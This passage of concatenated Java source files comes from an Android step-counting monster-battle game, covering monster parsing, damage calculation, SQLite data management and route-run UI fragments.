monster.activeAbility.abilityId, monster.activeAbility.abilityId, monster.evolve, monster.equipped, monster.position, monster.hp, monster.attack, monster.defense, monster.speed, monster.capture); } /** * Creates a list of monster for a route * @param stickers * @param routeMonsters * @return */ public static List<Monster> enemyRouteStickersToEnemyMonsters(List<Sticker> stickers, List<RouteMonsters> routeMonsters) { List<Monster> monsters = new ArrayList<Monster>(); for (RouteMonsters monster : routeMonsters) { Sticker sticker = stickers.get(monster.monsterId - 1); monsters.add(convertEnemyStickerToMonster(sticker, monster)); } return monsters; } /** * Creates a list of monsters for a dungeon * @param stickers * @param dungeonMonsters * @return */ public static List<Monster> enemyDungeonStickersToEnemyMonsters(List<Sticker> stickers, List<DungeonMonsters> dungeonMonsters) { List<Monster> monsters = new ArrayList<Monster>(); for (DungeonMonsters monster : dungeonMonsters) { Sticker sticker = stickers.get(monster.monsterId - 1); monsters.add(convertEnemyStickerToMonster(sticker, monster)); } return monsters; } /** * Converts a sticker and the speicifc route monster to be a monster that will be used * uses sticker information and route monster's level and capture * @param sticker * @param routeMonster * @return */ public static Monster convertEnemyStickerToMonster(Sticker sticker, RouteMonsters routeMonster) { Log.d("monsterexp", "" + routeMonster.level + " base exp " + sticker.current_exp); return new Monster(-1, sticker.name, sticker.hp, sticker.attack, sticker.defense, sticker.speed, routeMonster.capture, sticker.element, getAbility(sticker), -1, -1, sticker.current_exp, routeMonster.level, sticker.evolve, sticker.sid); } /** * Converts a sticker and the specific dungeon monster to be a monster that will be used * uses sticker information and dungeon monster's level and capture * @param sticker * @param dungeonMonster * @return */ public static Monster convertEnemyStickerToMonster(Sticker sticker, DungeonMonsters dungeonMonster) { Log.d("monsterexp", "" + dungeonMonster.level + " base exp " + sticker.current_exp); return new Monster(-1, sticker.name, sticker.hp, sticker.attack, sticker.defense, sticker.speed, dungeonMonster.capture, sticker.element, getAbility(sticker), -1, -1, sticker.current_exp, dungeonMonster.level, sticker.evolve, sticker.sid); } /** * Return the ability from the given sticker * @param sticker * @return */ private static Ability getAbility(Sticker sticker) { Ability ability; MetaAbility meta = Hub.refAbilities.get(sticker.saaid - 1); switch (meta.type) { // group attack case 1: // String name, String description, int level, int steps, double damage, int attributes, int abilityId // TODO need to use modifier // TOOD need to switch steps to make it easier ability = new DamageAllAbility(meta.name, meta.description, 1, meta.steps, meta.modifier, meta.attribute, sticker.saaid); break; // support ability case 2: //"Increase attack", "Moderately increase attack", 1, 50, 1.5, 1,3 ability = new SupportAbility(meta.name, meta.description, 1, meta.steps, meta.modifier, meta.attribute, meta.duration, sticker.saaid); break; case 3: // single attack ability = new DamageAbility(meta.name + " temp", meta.description, 1, meta.steps, meta.modifier, meta.attribute, sticker.saaid); break; default: throw new Error("ability id is not within the acceptable range, crashed at " + sticker.name + " with ability id: " + sticker.saaid + " and type " + meta.type); } return ability; } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/Friends.java package com.brnleehng.worldrunner; import android.app.Activity; import android.app.Fragment; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.View.OnClickListener; import android.widget.Button; // To be implemented to add new friends public class Friends extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); View view = inflater.inflate(R.layout.friends_activity, container, false); return view; } } <file_sep>/worldrunner/src/util/BattleHelper.java package util; import java.util.ArrayList; import java.util.List; import android.R.integer; import android.util.Log; import DB.Model.BattleMonster; /** * A class that offers helpful methods for monsters to fight * each other */ public class BattleHelper { /** * Decides damage dealt from one target or another * @param attacker who is attacking * @param defender who is defending * @return how much damage is done */ public static int Attack(BattleMonster attacker, BattleMonster defender) { int attack = attacker.atk; int defense = defender.def; int damage = 0; //Log.d("Damage", "Damage: " + attacker.monster.name + " And has a attack of " + damage); //Log.d("Defense", "Defender: " + defender.monster.name + " And has a defense of " + defense); if (attacker.buffs.containsKey(1)) { attack *= attacker.buffs.get(1).modifier; //Log.d("Damage", "Calculated: " + damage); } if (defender.buffs.containsKey(2)) { //NOTE: Does not work for some reason. Troubleshoot it later.; defense *= defender.buffs.get(2).modifier; //Log.d("Defense", "Calculated: " + defense); } damage = (int) (2.5 * attack * (attack / defense)); if ((attacker.monster.element == 1 && defender.monster.element == 3) || (attacker.monster.element == 2 && defender.monster.element == 1) || (attacker.monster.element == 3 && defender.monster.element == 2) || (attacker.monster.element == 4 && defender.monster.element == 5) || (attacker.monster.element == 5 && defender.monster.element == 4)) { //If the attacker is strong vs. the defender damage *= 2; } else if ((attacker.monster.element == 3 && defender.monster.element == 1) || (attacker.monster.element == 1 && defender.monster.element == 2) || (attacker.monster.element == 2 && defender.monster.element == 3)) { //If the defender is strong vs. the attacker damage /= 2; } //Log.d("Damage", "Attacker: " + attacker.monster.name + " has a total damage of " + damage); //Log.d("Defense", "Defender: " + defender.monster.name + " has a defense of " + defense); //If the damage is less than 0, set it to 0. if (damage < 1) { damage = 1; } return damage; } /** * Decides which target from the list if being attacked. Selects the monster that the attacker * will deal the highest damage to. * @param enemy Who is attacking * @param party The list of people who are attacking * @return The index the monster that is going to be attacked is at, -1 if all monsters are dead */ public static int AIAttack(BattleMonster enemy,ArrayList<BattleMonster> party) { //Sets the AI of what monsters attack double largest = -1; double tempSize = -1; int largestIndex = -1; for (int a = 0; a < party.size(); a++) { if (party.get(a) != null && party.get(a).currentHp > 0 ) { tempSize = (double)(party.get(a).hp / BattleHelper.Attack(enemy, party.get(a))); if (largest < tempSize) { largest = tempSize; largestIndex = a; } } } return largestIndex; } } <file_sep>/worldrunner/src/DB/DBManager.java package DB; import java.util.ArrayList; import java.util.List; import java.util.Random; import metaModel.City; import metaModel.Dungeon; import metaModel.Route; import org.xml.sax.Parser; import dbReference.CityManager; import dbReference.DungeonManager; import dbReference.ReferenceManager; import dbReference.RouteManager; import Abilities.Ability; import Abilities.DamageAllAbility; import Abilities.SupportAbility; import DB.Model.BattleMonster; import DB.Model.Equipment; import DB.Model.Monster; import DB.Model.Player; import DB.Model.RunningLog; import DB.Model.Sticker; import android.content.Context; import android.database.DatabaseUtils; import android.database.sqlite.SQLiteDatabase; import android.database.sqlite.SQLiteDatabase.CursorFactory; import android.database.sqlite.SQLiteOpenHelper; import android.util.Log; import android.util.SparseArray; /** * The DB Manager centralizes and uses all DB related actions */ public class DBManager extends SQLiteOpenHelper { private static final String DATABASE_NAME = "Player"; private static final int DATABASE_VERSION = 1; private Context context; //public SQLiteDatabase db; public DBManager(Context context) { super(context, DATABASE_NAME, null, DATABASE_VERSION); this.context = context; } private static final int ATTACK = 150; private static final int HP = 1000; // int uid, String name, int hp, int attack, int defense, int speed, double capture, int element, Ability ability, // int position, int equipped, int exp, int level, int evolve, int monsterId private static final Monster RABBIT = new Monster(1, "<NAME>" , HP, ATTACK, 125, 100, 0.0,2, new DamageAllAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 2, 1), 0, 0, 0, 1, 0, 1); private static final Monster DEER = new Monster(2, "<NAME>", HP, ATTACK, 100, 150, 0.0,3, new DamageAllAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 3, 1), 0, 0, 0, 1, 0, 2); private static final Monster MARTIN = new Monster(3, "<NAME>", HP, ATTACK, 150, 125, 0.0,1, new DamageAllAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 1, 1), 0, 0, 0, 1, 0, 3); private static final Monster TURTLE = new Monster(4, "Turtle", HP, ATTACK, 100, 100, 50.0,2, new SupportAbility("Increase attack", "Moderately increase attack", 1, 50, 1.5, 1, 3, 2), 0, 0, 0, 1, 0, 4); private static final Monster SEAHORSE = new Monster(5, "Sea Horse",HP, ATTACK, 50, 130, 50.0,2, new SupportAbility("Increase defense", "Moderately increase defense", 1, 50, 1.5, 2, 3, 2), 0, 0, 0, 1, 0, 5); private static final Monster SNAKE = new Monster(6, "Grass Snake", HP, ATTACK, 130, 70, 50.0,3, new SupportAbility("Increase speed", "Moderately increase speed", 1, 50, 1.5, 3, 3, 2), 0, 0, 0, 1, 0, 6); @Override public void onCreate(SQLiteDatabase db) { PlayerManager.create(db); EquipmentManager.create(db); StickerManager.create(db); CityMappingManager.create(db); TimeManager.create(db); } @Override // drops and recreates everything public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) { PlayerManager.drop(db); EquipmentManager.drop(db); StickerManager.drop(db); CityMappingManager.drop(db); TimeManager.drop(db); onCreate(db); } /** * * PLAYER * */ /* public ArrayList<Monster> getParty() { ArrayList<Monster> list = new ArrayList<Monster>(); list.add(new Monster(2, "<NAME>", 2000, 125, 100, 150, 0.0,3, new DamageAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 3))); list.add(new Monster(3, "<NAME>", 2000, 100, 150, 125, 0.0,1, new DamageAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 1))); list.add(new Monster(4, "Turtle", 1000, 100, 100, 100, 50.0,2, new SupportAbility("Increase attack", "Moderately increase attack", 1, 45, 1.5, 1,3))); list.add(new Monster(5, "Sea Horse",800, 120, 50, 130, 50.0,2, new SupportAbility("Increase defense", "Moderately increase defense", 1, 50, 1.5, 2,3))); list.add(new Monster(6, "Grass Snake", 1500, 70, 130, 70, 50.0,3, new SupportAbility("Increase speed", "Moderately increase speed", 1, 55, 1.5, 3,3))); return list; }*/ // TODO needs to be changed so that player id is // stored in shared preference and that it is requested public List<Player> getPlayer() { SQLiteDatabase db2 = this.getWritableDatabase(); return PlayerManager.getPlayer(db2); } public int updatePlayer(Player player) { SQLiteDatabase db = this.getWritableDatabase(); return PlayerManager.updatePlayer(db, player); } public void addPlayer(Player player) { SQLiteDatabase db = this.getWritableDatabase(); PlayerManager.addPlayer(db, player); db.close(); } public int[] buyMonster(Player player) { SQLiteDatabase db = this.getWritableDatabase(); int res[] = new int[2]; int status = PlayerManager.buyMonster(db, player); if (status != 1) { return res; } res[0] = status; // TODO so bad code, how to seperate, same one DB? ReferenceManager refDb = new ReferenceManager(context); int max = refDb.getNumMonsters(); Random rn = new Random(); int monsterId = rn.nextInt(max); res[1] = monsterId; // verify if sql start at 0 or 1 // add the monster into the user's db return res; } public int addGem(Player player, int steps) { SQLiteDatabase db = this.getWritableDatabase(); // TODO in the server we would use the steps and do start and end date // calculation to ensure that the players didn't try to cheat int gems = 0; if (steps > 1) { gems = 5; } int result = PlayerManager.addGem(db, player, gems); Log.d("playerGem", "finish results " + result); return result; } /** * * EQUIPMENT * */ public ArrayList<Equipment> getEquipments() { SQLiteDatabase db = this.getWritableDatabase(); return EquipmentManager.getEquipment(db); } public int updateEquipment(Equipment equipment) { SQLiteDatabase db = this.getWritableDatabase(); return EquipmentManager.updateEquipment(db, equipment); } public void addEquipment(Equipment equipment) { SQLiteDatabase db = this.getWritableDatabase(); EquipmentManager.addEquipment(db, equipment); db.close(); } public void deleteEquipment(Equipment equipment) { SQLiteDatabase db = this.getWritableDatabase(); EquipmentManager.deleteEquipment(db, equipment); db.close(); } public ArrayList<Equipment> getEquippedEquipment() { SQLiteDatabase db = this.getWritableDatabase(); return EquipmentManager.getEquipped(db); } // Returns a list of equipments that has a certain category. public ArrayList<Equipment> getEquipmentCategory(int category) { SQLiteDatabase db = this.getWritableDatabase(); return EquipmentManager.getEquipmentCategory(db, category); } /** * * Sticker * */ public ArrayList<Monster> getStickers() { SQLiteDatabase db = this.getWritableDatabase(); ArrayList<Monster> monsters = new ArrayList<Monster>(); for (Sticker sticker : StickerManager.getSticker(db)) { monsters.add(util.Parser.stickerToMonster(sticker)); } return monsters; } public int updateSticker(Monster monster) { SQLiteDatabase db = this.getWritableDatabase(); return StickerManager.updateSticker(db, util.Parser.MonsterToSticker(monster)); } public void addSticker(Monster monster) { // TODO you need to reload the player sticker so they have the accurate information SQLiteDatabase db = this.getWritableDatabase(); StickerManager.addSticker(db, util.Parser.CapturedMonsterToSticker(monster)); db.close(); } public void addStickerDirectly(Sticker sticker) { SQLiteDatabase db = this.getWritableDatabase(); StickerManager.addSticker(db, sticker); db.close(); } public void deleteSticker(Monster monster) { SQLiteDatabase db = this.getWritableDatabase(); StickerManager.deleteSticker(db, monster.uid); // TODO you need to reload the player sticker so they have the accurate information db.close(); } public void addStickers(ArrayList<Monster> monsters) { SQLiteDatabase db = this.getWritableDatabase(); List<Sticker> stickers = new ArrayList<Sticker>(); // TODO you need to reload the player sticker so they have the accurate information for (Monster monster : monsters) stickers.add(util.Parser.CapturedMonsterToSticker(monster)); StickerManager.addStickers(db, stickers); db.close(); } public List<RunningLog> getTimes() { SQLiteDatabase db = this.getWritableDatabase(); return TimeManager.getTimes(db); } /* Not used anymore, it's a ui thing in how things get sorted. public ArrayList<Sticker> getUnequipedStickers() { SQLiteDatabase db = this.getWritableDatabase(); return StickerManager.getUnequppedStickersWithNull(db); } */ /** * int pstid, int pid, int sid, String name, int color, int current_level, int current_exp, int current_speed, int current_reach, int spaid, int saaid, int evolve, int equipped, int position, int hp, int attack, int defense, int speed, double capture */ /* public ArrayList<Sticker> getFakeEquippedParty() { ArrayList<Sticker> list = new ArrayList<Sticker>(); list.add(new Sticker(1, 1, 100, "<NAME>", 1, 1, 0, 1, 1, 1, 1, 1, 2000, 150, 125, 100, 0.0,2,new DamageAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 2))); list.add(new Sticker(2, 1, 101, "<NAME>", 2, 1, 1, 1, 1, 1, 1, 2, 2000, 125, 100, 150, 0.0,3, new DamageAbility("Damage all", "Does moderate damage to all enemies", 1, 10, 200.0, 3))); list.add(new Sticker(4, 1, 103, "Turtle", 1, 1, 1, 1, 1, 1, 1, 4, 1000, 100, 100, 100, 50.0,2, new SupportAbility("Increase attack", "Moderately increase attack", 1, 50, 1.5, 1, 3))); list.add(null); list.add(new Sticker(5, 1, 104, "<NAME>", 1, 1, 1, 1, 1, 1, 1, 5, 800, 120, 50, 130, 50.0,2, new SupportAbility("Increase defense", "Moderately increase defense", 1, 50, 1.5, 2,3))); return list; }*/ /** * * MONSTERS * */ /** * A stub that generates a list of monsters that can be encountered in the game * @return a list of monsters the list index + 1 = monsterId */ //id,hp,attack,defense,speed,capture /* public ArrayList<Monster> getMonsters() { ArrayList<Monster> list = new ArrayList<Monster>(); list.add(RABBIT); list.add(DEER); list.add(MARTIN); list.add(TURTLE); list.add(SEAHORSE); list.add(SNAKE); return list; }*/ /** * * * TIME * * */ public void addTime(RunningLog run) { // TODO you need to reload the player sticker so they have the accurate information SQLiteDatabase db = this.getWritableDatabase(); TimeManager.addTime(db, run); db.close(); } public ArrayList<Monster> getEquippedStickers() { SQLiteDatabase db = this.getWritableDatabase(); ArrayList<Monster> monsters = new ArrayList<Monster>(); for (Sticker sticker : StickerManager.getEquippedStickers(db)) { if (sticker != null) monsters.add(util.Parser.stickerToMonster(sticker)); else monsters.add(null); } return monsters; } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/LogFragment.java package com.brnleehng.worldrunner; import java.util.ArrayList; import java.util.List; import DB.Model.RunningLog; import Singleton.RunningLogList; import android.app.Fragment; import android.media.AudioManager; import android.media.SoundPool; import android.os.Bundle; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; public class LogFragment extends Fragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreate(savedInstanceState); final SoundPool sp = new SoundPool(2, AudioManager.STREAM_MUSIC, 0); final int soundIds[] = new int[2]; soundIds[0] = sp.load(getActivity().getBaseContext(), R.raw.click, 1); soundIds[1] = sp.load(getActivity().getBaseContext(), R.raw.enterbattle, 1); View view = inflater.inflate(R.layout.logfragment_activity, container, false); List<RunningLog> list = new ArrayList<RunningLog>(); // in case something happened with the list with loading if (RunningLogList.getList() != null) { list = RunningLogList.getList(); } // TODO need to make simple array adapter. return view; } } <file_sep>/worldrunner/src/com/brnleehng/worldrunner/RunLogDialog.java package com.brnleehng.worldrunner; import java.util.ArrayList; import java.util.List; import android.R.string; import android.app.Dialog; import android.app.DialogFragment; import android.graphics.Color; import android.graphics.drawable.ColorDrawable; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.view.Window; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.ListView; public class RunLogDialog extends DialogFragment { @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { Bundle bundle = this.getArguments(); ArrayList<String> bundlelist = bundle.getStringArrayList("Log"); View view = inflater.inflate(R.layout.runlog_activity, container, false); ArrayList<String> list = new ArrayList<String>(); list.addAll(bundlelist); ArrayAdapter<String> adapter = new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, list); ListView listView = (ListView) view.findViewById(R.id.RunLogList); listView.setAdapter(adapter); Button exitButton = (Button) view.findViewById(R.id.exitButton); exitButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { dismiss(); } }); return view; } } <file_sep>/worldrunner/src/Races/RouteRun.java package Races; import java.util.ArrayList; import java.util.List; import step.detector.StepService; import DB.DBManager; import DB.Model.BattleMonster; import DB.Model.Monster; import android.app.Fragment; import android.content.BroadcastReceiver; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.content.IntentFilter; import android.content.ServiceConnection; import android.content.SharedPreferences; import android.graphics.Color; import android.graphics.PorterDuff.Mode; import android.graphics.Typeface; import android.os.Bundle; import android.os.IBinder; import android.os.SystemClock; import android.util.Log; import android.view.Gravity; import android.view.LayoutInflater; import android.view.View; import android.view.View.OnClickListener; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.view.animation.Animation.AnimationListener; import android.view.ViewGroup; import android.widget.Button; import android.widget.Chronometer; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.ProgressBar; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Chronometer.OnChronometerTickListener; import android.widget.LinearLayout.LayoutParams; import battleHelper.BackgroundChecker; import battleHelper.BattleInfo; import com.brnleehng.worldrunner.Hub; import com.brnleehng.worldrunner.R; import com.brnleehng.worldrunner.RunLogDialog; public class RouteRun extends Fragment { // setup the step detectors public static final String PREF_NAME = "RouteRunPref"; public static final String IS_RUNNING = "isRunning"; private TextView tvDistance; private TextView tvTime; private TextView tvPace; private TextView tvCalories; private TextView tvCoin; private TextView monsterSet; private Button stopMission; private Button btnLog; private LinearLayout enemyPartyLayout; private LinearLayout playerPartyLayout; // variables private long countUp; public ArrayList<ProgressBar> enemyProgressBarList; public ProgressBar[] playerProgressBarList; public TextView[] playerMonsterStepCounters; public TextView[] enemyMonsterStepCounters; private List<ImageView> playerMonsterImage; private List<ImageView> enemyMonsterImage; // calculate running metrics private int steps; Intent intent; public TextView txtRouteName; // TODO add back? Probably not needed //StepService mService; //boolean mBound = false; @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { try { super.onCreate(savedInstanceState); //TODO seperated routes!!!! View view = inflater.inflate(R.layout.routeingame_activity, container, false); //setContentView(R.layout.routeingame_activity); // initializes the game BattleInfo.combatStart(); Log.d("recover", "combat started"); // setup intitial objects tvDistance = (TextView) view.findViewById(R.id.routeRunDistanceTxt); tvPace = (TextView) view.findViewById(R.id.routeRunPaceTxt); tvTime = (TextView) view.findViewById(R.id.routeRunTimedTxt); tvCalories = (TextView) view.findViewById(R.id.routeRunCaloriesTxt); tvCoin = (TextView) view.findViewById(R.id.coinsEarned); txtRouteName = (TextView) view.findViewById(R.id.CurrentRouteText); monsterSet = (TextView) view.findViewById(R.id.monstersToDefeat); //monsterList = Hub.monsterList; enemyProgressBarList = new ArrayList<ProgressBar>(); playerProgressBarList = new ProgressBar[5]; enemyPartyLayout = (LinearLayout) view.findViewById(R.id.enemyPartyLayout1); playerPartyLayout = (LinearLayout) view.findViewById(R.id.playerPartyLayout); btnLog = (Button) view.findViewById(R.id.btnLog); stopMission = (Button) view.findViewById(R.id.stopMission); // loads the screens for the user createNewMonsters(); createPartyMonsters(); txtRouteName.setText(Hub.currentRoute.name); // initialize fields steps = 0; tvDistance.setText("0.00"); BackgroundChecker.locationName = Hub.currentRoute.name; // Once you're done with your run you can save all of the // new monsters that you've caught. Ignore for now btnLog.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { /*Bundle bundle = new Bundle(); bundle.putStringArrayList("Log", BattleInfo.list); RunLogDialog newFragment = new RunLogDialog(); newFragment.setArguments(bundle); newFragment.show(getFragmentManager(), "Run Log");*/ } }); // TODO for super class, pass in a function that can be overwrited stopMission.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO add sticker and then once we move out, we would re-load the // the sticker list // updates the player's new monsters DBManager db = new DBManager(getActivity()); db.addStickers(BattleInfo.found); // update player's current monsters for (Monster monster : BattleInfo.partyList) { if (monster != null && monster.level != 100) { monster.exp += BattleInfo.exp / BattleInfo.partyMonstersSize; Log.d("monsterexp", "added " + (BattleInfo.exp / BattleInfo.partyMonstersSize) + "" + BattleInfo.exp + "exp to " + monster.name + " who has" + monster.exp); int[] exp; // level 1, would need index 1 ie level 2 info for (int i = monster.level; i < Hub.expTable.size(); i++) { exp = Hub.expTable.get(i); Log.d("exp table1", "" + exp[0]); if (monster.exp >= exp[0]) { monster.level++; } } // if they get to level 100 if (monster.level == 100) monster.exp = Hub.expTable.get(99)[0]; db.updateSticker(monster); } } BackgroundChecker.time = tvTime.getText().toString(); Log.d("mytime", tvTime.getText().toString() + BackgroundChecker.time); // updates the player's status if (BattleInfo.finishEnabled) { int newCity = Hub.currentRoute.to; Hub.player.city = newCity; Hub.setCurrentCity(Hub.refCities.get(newCity - 1)); Log.d("newCity", Hub.refCities.get(newCity - 1).cityName); int resId = getActivity().getResources().getIdentifier("background" + (newCity - 1), "drawable", getActivity().getPackageName()); if (resId != 0) Hub.hubContentContainer.setBackgroundResource(resId); } Hub.player.coin += BattleInfo.coins; db.updatePlayer(Hub.player); BattleInfo.combatFinish(); // finishing the race and also updates the player info Hub.goToResult(); /*if (BattleInfo.finishEnabled) { Log.d("objective finish", "finish is enabled"); Hub.moveCity(Hub.currentRoute.to); } else { Hub.backToCity(); }*/ } }); Chronometer stopWatch = (Chronometer) view.findViewById(R.id.chronometer); stopWatch.setOnChronometerTickListener(new OnChronometerTickListener(){ @Override public void onChronometerTick(Chronometer chronometer) { // does time reset in event of crash? // TODO for time rest, we have a counter for the tim countUp = (SystemClock.elapsedRealtime() - chronometer.getBase()) / 1000; String asText = (countUp / 3600) + ":"; if (countUp % 3600 / 60 < 10) { asText += "0"; } asText += (countUp / 60 % 60) + ":"; if (countUp % 60 < 10) { asText += "0"; } asText += (countUp % 60); tvTime.setText(asText); } }); stopWatch.start(); return view; } catch (Exception e) { return null; } } @Override public void onResume() { super.onResume(); if (!BackgroundChecker.boundStepService) { getActivity().getApplicationContext().registerReceiver(broadcastReceiver, new IntentFilter(StepService.BROADCAST_ACTION)); BackgroundChecker.boundStepService = true; } BackgroundChecker.isBackground = false; tvPace.setText("Step: " + BattleInfo.steps); // TODO same thing with the onReceive updateUI(); } public void onPause() { super.onPause(); BackgroundChecker.isBackground = true; } @Override public void onStart() { super.onStart(); intent = new Intent(getActivity().getApplicationContext(), StepService.class); // TODO we don't really need to bind? //getActivity().bindService(intent, mConnection, Context.BIND_AUTO_CREATE); getActivity().getApplicationContext().startService(intent); } @Override public void onDestroy() { super.onDestroy(); Log.d("destroy", "do we destroy?"); //getActivity().unbindService(mConnection); Intent intent = new Intent(getActivity().getApplicationContext(), StepService.class); getActivity().getApplicationContext().startService(intent); getActivity().getApplicationContext().stopService(intent); getActivity().getApplicationContext().unregisterReceiver(broadcastReceiver); BackgroundChecker.boundStepService = false; broadcastReceiver = null; intent = null; //mService.stopSelf(); } /** * If the app is on the screen, update the UI to reflect * what has happenned */ private void updateUI() { // adds new monsters try { /* TODO In the future event where we need to re-update the GUI we can probably have some sort of check with BackgroundChecker and we can probably also get something from StepService to get Everything we need */ //updateMonsterSteps(); if (BackgroundChecker.newEnemies) { BackgroundChecker.newEnemies = false; animateEnemyDefeat(); } // changes the hp if (BackgroundChecker.monsterWasAttacked) { updateMonsterHealth(); } if (BackgroundChecker.playerMonsterWasAttacked) { updatePlayerMonsterHealth(); } updateMonsterSteps(); } catch (Exception e) { Log.d("clutter crash", "route run crash"); if (Hub.partyList == null) { Log.d("random route run crash", "partyList is null"); } if (Hub.currentCity == null) { Log.d("random route run crash", "current City is null"); } if (BattleInfo.partyMonsterBattleList == null) { Log.d("random route run crash", "partyMonsterBattleList is null"); Log.d("random route run crash", "finished current battle status: " + BackgroundChecker.finishedCurrentBattle); Log.d("random route run crash", "has the combat started? " + BackgroundChecker.battleStarted); Log.d("random route run crash", "was the monster attacked? " + BackgroundChecker.monsterWasAttacked); Log.d("random route run crash", "was the player monster attacked? " + BackgroundChecker.playerMonsterWasAttacked); Log.d("random route run crash", "was in the background? " + BackgroundChecker.isBackground); Log.d("random route run crash", "Are there now new enemies? " + BackgroundChecker.newEnemies); if (BattleInfo.partyList == null) { Log.d("random route run crash", "partyList is null"); } else { Log.d("random route run crash", "partyList is not null"); } } Log.e("random route run crash", e.getClass().getName(), e); Log.e("MonsterColorRun", e.getClass().getName(), e); throw new Error(e); //e.printStackTrace(); } } public void animateEnemyDefeat() { Animation normalAnim = AnimationUtils.loadAnimation(getActivity(), R.anim.defeat); Log.d("defeatanim", "has been called"); for (TextView txt : enemyMonsterStepCounters) { if (txt != null) { txt.setText(""); } } for (ProgressBar prog : enemyProgressBarList) { if (prog != null) { prog.setProgress(0); } } for (int i = 0; i < enemyMonsterImage.size(); i++) { if (i != enemyMonsterImage.size() - 1) { enemyMonsterImage.get(i).startAnimation(normalAnim); } else { Animation endAnim = AnimationUtils.loadAnimation(getActivity(), R.anim.defeat); endAnim.setAnimationListener(new AnimationListener() { @Override public void onAnimationStart(Animation animation) { } @Override public void onAnimationRepeat(Animation animation) { } @Override public void onAnimationEnd(Animation animation) { createNewMonsters(); } }); enemyMonsterImage.get(i).startAnimation(endAnim); } } } private void updateMonsterSteps() { for (int i = 0; i < BattleInfo.enemyMonsterBattleList.size(); i++) { BattleMonster monster = BattleInfo.enemyMonsterBattleList.get(i); if (monster != null && monster.currentHp > 0) { Log.d("size of battle list", "" + BattleInfo.enemyMonsterBattleList.size()); Log.d("size of battle list", "" + BattleInfo.battleSteps); Log.d("size of battle list", "" + monster.step); Log.d("enemy health", "index " + i + "monster" + monster.monster.name + " health " + monster.currentHp); int toGo = monster.step - (BattleInfo.battleSteps % monster.step); // TODO bug introduced by making animation not end. Random null if (enemyMonsterStepCounters[i] != null) { enemyMonsterStepCounters[i].setText("" + toGo); } } } for (int i = 0; i < BattleInfo.partyMonsterBattleList.size(); i++) { BattleMonster monster = BattleInfo.partyMonsterBattleList.get(i); if (monster != null && monster.currentHp > 0) { int toGo = monster.step - (BattleInfo.battleSteps % monster.step); playerMonsterStepCounters[i].setText("" + toGo); } } } /** * 1. Creates a new view of monster for the user when they first load the app, * 2. defeat an enemy when they're either in the background and came back * or 3. when they finish off the enemy with the app open on the phone */ private void createNewMonsters() { enemyMonsterStepCounters = new TextView[5]; enemyMonsterImage = new ArrayList<ImageView>(); enemyPartyLayout.removeAllViews(); BackgroundChecker.newEnemies = false; enemyProgressBarList.clear(); for (int i = 0; i < BattleInfo.enemyMonsterBattleList.size(); i++) { BattleMonster battleMonster = BattleInfo.enemyMonsterBattleList.get(i); if (battleMonster != null) { RelativeLayout relLayout = new RelativeLayout(getActivity()); // adds the relative layout to the overall linear layout enemyPartyLayout.addView(relLayout); // param for relative layout LinearLayout.LayoutParams linLayoutParam = new LinearLayout.LayoutParams(LayoutParams.WRAP_CONTENT, LayoutParams.WRAP_CONTENT); //1f = 1 weight relLayout.setLayoutParams(linLayoutParam); // params for the other Uui RelativeLayout.LayoutParams relLayoutParamTxt = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); RelativeLayout.LayoutParams relLayoutParamImg = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); RelativeLayout.LayoutParams relLayoutParamProg = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); RelativeLayout.LayoutParams relLayoutParamTxtStep = new RelativeLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT,ViewGroup.LayoutParams.WRAP_CONTENT); relLayoutParamProg.addRule(RelativeLayout.CENTER_HORIZONTAL); relLayoutParamImg.addRule(RelativeLayout.CENTER_HORIZONTAL); relLayoutParamTxt.addRule(RelativeLayout.CENTER_HORIZONTAL); relLayoutParamTxtStep.addRule(RelativeLayout.CENTER_HORIZONTAL); // Assigned id for enemy ui TextView txt = new TextView(getActivity()); txt.setId((i + 1)); ImageView imgView = new ImageView(getActivity()); enemyMonsterImage.add(imgView); imgView.setId((i + 1) * 10 ); ProgressBar progBar = new ProgressBar(getActivity(),null,android.R.attr.progressBarStyleHorizontal); progBar.setId((i + 1) * 100); TextView monsterStep = new TextView(getActivity()); txt.setText(battleMonster.monster.name); txt.setTextColor(Color.RED); txt.setTypeface(null, Typeface.BOLD); txt.setGravity(Gravity.CENTER); int toGo = battleMonster.step - (BattleInfo.battleSteps % battleMonster.step); monsterStep.setText("" + toGo); monsterStep.setTextColor(Color.BLACK); monsterStep.setTypeface(null, Typeface.BOLD); enemyMonsterStepCounters[i] = monsterStep; relLayoutParamImg.addRule(RelativeLayout.BELOW, (i + 1)); relLayoutParamProg.addRule(RelativeLayout.BELOW, (i + 1) * 10); relLayoutParamTxtStep.addRule(RelativeLayout.BELOW, (i + 1) * 